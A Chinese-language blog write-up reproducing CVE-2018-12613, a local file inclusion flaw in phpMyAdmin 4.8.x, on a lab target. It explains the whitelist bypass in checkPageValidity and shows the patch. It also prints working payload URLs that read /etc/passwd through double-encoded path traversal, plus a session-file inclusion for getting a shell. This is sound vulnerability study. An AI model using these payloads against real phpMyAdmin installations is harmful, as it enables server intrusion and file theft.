CVE-2018-12613phpmyadmin本地文件包含复现

  1. 环境
  2. 代码刨析

最近看到某文章提到了,最近在学代码审计顺便看看
漏洞影响

  • 4.8.0
  • 4.8.0.1
  • 4.8.1

环境

phpmyadmin 4.8.1
这里直接用的靶场https://store.vsplate.com/

代码刨析

问题出现在index.php第61行
(index.php 55行~63行)

if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target']; //问题出现在这
    exit;
}

这段代码的内容为:

  • $_REQUEST[‘target’]参数为字符串类型
  • $_REQUEST[‘target’]参数不存在index关键字
  • $_REQUEST[‘target’]参数不存在黑名单$target_blacklist
  • checkPageValidity函数返回True

checkPageValidity函数代码
(Core.php 443~476行)

public static function checkPageValidity(&$page, array $whitelist = [])
{
    if (empty($whitelist)) {
        $whitelist = self::$goto_whitelist; //白名单
    }
    if (! isset($page) || !is_string($page)) { //$page参数不存在,不是string类型
        return false;
    }


    if (in_array($page, $whitelist)) { //$page参数在白名单里 (无法利用,没对$page参数做任何取值判断)
        return true;
    }


    $_page = mb_substr(
        $page,
        0,
        mb_strpos($page . '?', '?')
    ); //取第一个字符到?号前一个位置的内容
    if (in_array($_page, $whitelist)) { //$page里面的参数是否在白名单内 (无法利用,$page参数带?就会被php认为php里的参数)
        return true;
    }


    $_page = urldecode($page); //url解码
    $_page = mb_substr(
        $_page,
        0,
        mb_strpos($_page . '?', '?')
    ); //取第一个字符到?号前一个位置的内容
    if (in_array($_page, $whitelist)) { //url解码后判断$page里面的参数是否在白名单内 (可以利用,因为url编码绕过了上面所描述的问题)
        return true;
    }


    return false;
}

白名单

public static $goto_whitelist = array(
    'db_datadict.php',
    'db_sql.php',
    'db_events.php',
    'db_export.php',
    'db_importdocsql.php',
    'db_multi_table_query.php',
    'db_structure.php',
    'db_import.php',
    'db_operations.php',
    'db_search.php',
    'db_routines.php',
    'export.php',
    'import.php',
    'index.php',
    'pdf_pages.php',
    'pdf_schema.php',
    'server_binlog.php',
    'server_collations.php',
    'server_databases.php',
    'server_engines.php',
    'server_export.php',
    'server_import.php',
    'server_privileges.php',
    'server_sql.php',
    'server_status.php',
    'server_status_advisor.php',
    'server_status_monitor.php',
    'server_status_queries.php',
    'server_status_variables.php',
    'server_variables.php',
    'sql.php',
    'tbl_addfield.php',
    'tbl_change.php',
    'tbl_create.php',
    'tbl_import.php',
    'tbl_indexes.php',
    'tbl_sql.php',
    'tbl_export.php',
    'tbl_operations.php',
    'tbl_structure.php',
    'tbl_relation.php',
    'tbl_replace.php',
    'tbl_row_action.php',
    'tbl_select.php',
    'tbl_zoom_select.php',
    'transformation_overview.php',
    'transformation_wrapper.php',
    'user_password.php',
);

利用的payload

/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd当解析到/../../../../../../../../etc/passwd会进行包含,实现利用

验证是否存在包含

/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

利用session文件getshell (方法有很多)
(在cookie找到phpmyadmin参数)

/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_01876fad4b7e3596a65aa96048b99def #有些是/tmp路径有些是别的路径被这个坑的老惨了

新版phpmyadmin修复代码

if (isset($GLOBALS['target']) && is_string($GLOBALS['target']) && !empty($GLOBALS['target']) && in_array($GLOBALS['target'], $goto_whitelist)) {
    $main_target = $GLOBALS['target'];
}

参考链接:https://blog.csdn.net/qq_34444097/article/details/85264686


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:CVE-2018-12613phpmyadmin本地文件包含复现

本文作者:九世

发布时间:2020-07-21, 20:26:18

最后更新:2020-07-21, 20:46:44

原始链接:http://jiushill.github.io/posts/299f8a4a.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录